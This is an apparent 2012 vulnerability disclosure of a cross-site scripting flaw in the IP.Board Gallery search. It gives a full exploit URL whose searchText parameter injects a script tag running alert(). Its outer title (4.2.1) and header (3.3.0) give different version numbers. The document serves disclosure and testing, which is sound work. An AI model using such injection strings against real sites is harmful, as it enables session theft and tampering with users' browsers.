IP.Board Add-on IP.Gallery 4.2.1 Cross Site Scripting

`# Exploit Title: IP.Board 3.3.0 Cross Site Scripting  
# Date: 27.03.2012  
# Author: Sony and Flexxpoint  
# Software Link: http://community.invisionpower.com/  
# Web Browser : Mozilla Firefox  
# Blog Flexxpoint: http://flexxpoint.blogspot.com/  
# Blog Sony: http://st2tea.blogspot.com  
# Site : http://insecurity.ro  
# PoC:  
http://st2tea.blogspot.com/2012/03/ipboard-330-cross-site-scripting.html  
..................................................................  
  
Well, we have a xss bug in Gallery Search.  
  
It's a very simple xss, but hard to use this.  
  
http://community.invisionpower.com/index.php?s=blablabla&&app=gallery&module=ajax&section=albumSelector&do=albumSelectorPane&secure_key=blalblabla&type=upload&albums=search&moderate=&album_id=1593&member_id=&searchType=member&searchMatch=is&searchIsGlobal=0&searchSort=date&searchDir=desc&searchText=%27%22--%3E%3C%2Fstyle%3E%3C%2Fscript%3E%3Cscript%3Ealert%280x000252%29%3C%2Fscript%3E  
  
You can't see this. Create your bug in the gallery and you can see this.  
  
http://4.bp.blogspot.com/-X0zz0Cat4cM/T3HCBFh43JI/AAAAAAAAA4w/oEXQRrPRWv8/s1600/IPSEARCHGALLERY.JPG  
  
http://3.bp.blogspot.com/-NXBr12I1PSk/T3HE4krdAII/AAAAAAAAA48/PC1i0JjRxPM/s1600/test.JPG  
  
Video PoC:  
  
http://www.youtube.com/watch?v=y29v74xp6t0  
`